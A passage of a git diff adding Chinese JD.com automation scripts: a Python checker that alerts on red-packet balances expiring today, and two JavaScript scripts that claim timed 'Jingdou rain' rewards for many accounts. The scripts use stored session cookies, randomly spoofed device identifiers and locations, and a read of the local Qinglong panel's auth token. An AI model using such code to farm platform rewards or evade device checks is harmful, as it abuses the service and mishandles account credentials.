e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redpacketinfo.py b/jd_redpacketinfo.py new file mode 100644 index 0000000..6977243 --- /dev/null +++ b/jd_redpacketinfo.py @@ -0,0 +1,167 @@ +# -*- coding:utf-8 -*- +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat + + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + + + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + + + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def getnowtime(): + t=str(round(time.time() * 1000)) + return t + +def printf(text): + print(text) + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + print("加载通知服务失败~") + else: + send=False + print("加载通知服务失败~") +load_send() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + print('读取auth.json文件出错,跳过获取备注') + + +def checkday(timestamp):#判断时间戳是不是今天 + t1 = time.time() + t1_str = time.strftime("%Y-%m-%d", time.localtime(t1)) + t2_str = time.strftime("%Y-%m-%d", time.localtime(timestamp)) + if t1_str==t2_str: + return True + else: + return False + + + +def redpacketinfo(ck,name): + url='https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_='+getnowtime()+'&sceneval=2&g_login_type=1&g_ty=ls' + headers={ + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": ck, + 'User-Agent':UserAgent + } + jdamount=0 + jxamount=0 + jsamount=0 + try: + response=requests.get(url=url,headers=headers).json() + for i in range(len(response['data']['useRedInfo']['redList'])): + if checkday(response['data']['useRedInfo']['redList'][i]['endTime']):#先判断是不是今天过期 + if response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('京东')!=-1 and response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('极速版')==1: + jdamount+=float(response['data']['useRedInfo']['redList'][i]['balance']) + elif response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('京喜')!=-1: + jxamount+=float(response['data']['useRedInfo']['redList'][i]['balance']) + elif response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('极速')!=-1: + jsamount+=float(response['data']['useRedInfo']['redList'][i]['balance']) + printf('今天过期的红包总金额为'+response['data']['expiredBalance']+'元,其中') + printf('京东红包金额:'+str(jdamount)[0:5]+'元') + printf('京喜红包金额:'+str(jxamount)[0:5]+'元') + printf('极速红包金额:'+str(jsamount)[0:5]+'元\n') + if float(response['data']['expiredBalance'])>=expiredBalance: + send('京东红包过期通知','账号:'+name+'今天有'+response['data']['expiredBalance']+'元的红包即将过期\n即将过期的京东红包'+str(jdamount)[0:5]+'元\n即将过期的京喜红包'+str(jxamount)[0:5]+'元\n即将过期的极速红包'+str(jsamount)[0:5]+'元') + except: + printf('获取红包信息出错') + +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo()#获取备注 + expiredBalance=5#默认过期金额超过5块发送通知 + try: + expiredBalance=float(os.environ['JDexpiredBalance']) + printf('当前设置过期通知金额为'+str(expiredBalance)+'元\n') + except: + printf('未读取到环境变量JDexpiredBalance,使用默认值5,当账户当天过期红包超过5块时会发送通知,如需自定义请设置export JDexpiredBalance=想要设置的数字(例如export JDexpiredBalance="10)"\n') + try: + cks = os.environ["JD_COOKIE"].split("&")#获取cookie + cks[::-1] + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + name='' + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + name=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + name=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + name=urllib.parse.unquote(ptpin) + #主程序部分 + UserAgent=randomuserAgent()#执行前先随机获取一个UserAgent + redpacketinfo(ck,name) + time.sleep(5) + #主程序部分 \ No newline at end of file diff --git a/jd_redrain.js b/jd_redrain.js new file mode 100644 index 0000000..aaf4f23 --- /dev/null +++ b/jd_redrain.js @@ -0,0 +1,301 @@ +/* +整点京豆雨 +更新时间:2022-1-24 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen +github:https://github.com/msechen/jdrain +频道:https://t.me/jdredrain +交流群组:https://t.me/+xfWwiMAFonwzZDFl +==============Quantumult X============== +[task_local] +#整点京豆雨 +0 * * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, tag=整点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "0 * * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js,tag=整点京豆雨 +================Surge=============== +整点京豆雨 = type=cron,cronexp="0 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js +===============小火箭========== +整点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, cronexpr="0 * * * *", timeout=3600, enable=true +*/ +const $ = new Env('整点京豆雨'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let jd_redrain_activityId = ''; +let jd_redrain_url = ''; +let allMessage = '', message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_activityId) jd_redrain_activityId = process.env.jd_redrain_activityId + if (process.env.jd_redrain_url) jd_redrain_url = process.env.jd_redrain_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:本地红包雨配置获取错误,尝试从远程读取配置\n`); + await $.wait(1000); + if (!jd_redrain_url) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let RedRainIds = await getRedRainIds(jd_redrain_url); + for (let i = 0; i < 1; i++) { + jd_redrain_activityId = RedRainIds[0]; + } + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let codeList = jd_redrain_activityId.split("@"); + let hour = (new Date().getUTCHours() + 8) % 24; + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位: ${codeList}\n\n准备领取${hour}点京豆雨\n`); + for (let codeItem of codeList) { + let ids = {}; + for (let i = 0; i < 24; i++) { + ids[String(i)] = codeItem; + } + if (ids[hour]) { + $.activityId = ids[hour]; + $.log(`\nRRA: ${codeItem}`); + } else { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:无法从本地读取配置,请检查运行时间\n`); + return; + } + if (!/^RRA/.test($.activityId)) { + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:RRA: "${$.activityId}"不符合规则\n`); + continue; + } + for (let i = 0; i < 5; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n${tswb}`); + } + continue + } + await queryRedRainTemplateNew($.activityId) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode == "0") { + //console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}`); + message += `领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_redrain_half.js b/jd_redrain_half.js new file mode 100644 index 0000000..85c0be1 --- /dev/null +++ b/jd_redrain_half.js @@ -0,0 +1,298 @@ +/* +半点京豆雨 +更新时间:2022-1-11 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen 感谢小手大佬修改接口 +==============Quantumult X============== +[task_local] +#半点京豆雨 +30 21,22 * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_live_redrain.js, tag=半点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "30 21,22 * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js,tag=半点京豆雨 +================Surge=============== +半点京豆雨 = type=cron,cronexp="30 21,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js +===============小火箭========== +半点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js, cronexpr="30 21,22 * * *", timeout=3600, enable=true +*/ +const $ = new Env('半点京豆雨'); +let allMessage = '', id = ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let jd_redrain_half_url = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_half_url) jd_redrain_half_url = process.env.jd_redrain_half_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + if (!jd_redrain_half_url) { + $.log(`尝试使用默认远程url`); + jd_redrain_half_url = 'https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/redrain_half.json' + } + let hour = (new Date().getUTCHours() + 8) % 24; + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:正在远程获取${hour}点30分京豆雨ID\n`); + await $.wait(1000); + let redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`尝试使用cdn`); + jd_redrain_half_url = 'https://raw.fastgit.org/Ca11back/scf-experiment/master/json/redrain_half.json' + redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`默认远程url获取失败`); + return + } + } + for (let id of redIds) { + if (!/^RRA/.test(id)) { + 